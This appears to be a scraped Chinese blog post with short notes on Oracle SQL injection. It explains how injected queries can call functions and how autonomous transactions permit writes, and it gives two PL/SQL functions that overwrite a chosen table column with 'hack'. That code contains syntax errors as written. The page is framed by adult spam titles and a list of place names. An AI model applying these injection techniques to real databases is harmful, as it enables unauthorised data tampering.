亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

寫在SQL注入后

發布時間:2020-07-24 23:15:36 來源:網絡 閱讀:895 作者:fatshi 欄目:關系型數據庫


1. 查詢語句后只能直接調用函數,不能直接調用存儲過程,例如:select function() from dual可以,select procedure() from dual不行;

2. 查詢語句中無法執行DML或DDL操作,也就是說如果被調用的函數里有insert、update、delete、create之類的寫操作,就會報錯,除非函數被聲明為自治事務,關鍵字PRAGMA AUTONOMOUS_TRANSACTION

create or replace function funinject(ftable varchar2, fcol varchar2) return 
pragma autonomous_transaction;
my_sql varchar2(1000);
begin
    my_sql := 'update '|| ftable || ' sets '|| fcol ||'=''hack''';
    execute immediate my_sql;
    commit;
    return 'inject'
end funinject

3. 如果函數中有insert、update、delete、create之類的寫操作,則只能注入到insert、update、delete之類的子查詢里,例如:insert into table values(1,select function() from dual);

4. Oracle不能注入多語句,除非被注入的SQL動態語句在begin和end之間例如:

create or replace function funinjecting(ftable varchar2, fcol varchar2) return varchar2 
is my_sql varchar2(1000);
begin
    my_sql := 'begin update '|| ftable || ' set '||fcol||'=''hack'';end;';
    execute immediate my_sql;
    return 'inject'
end funinjecting



unwrap Oracle SQL源碼的工具

http://yun.baidu.com/s/1kTgP2SZ

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

全南县| 岳阳市| 高阳县| 宿松县| 咸阳市| 巴南区| 陆丰市| 汤原县| 泰兴市| 榕江县| 尚义县| 尖扎县| 四子王旗| 西贡区| 马山县| 策勒县| 石台县| 洛川县| 兴安盟| 星座| 南岸区| 斗六市| 鄂伦春自治旗| 台湾省| 遵化市| 讷河市| 海南省| 岳阳县| 蓬莱市| 东乡县| 嘉兴市| 吉林省| 临夏县| 钟山县| 桦川县| 勐海县| 镇平县| 庆城县| 射阳县| 宣威市| 镇赉县|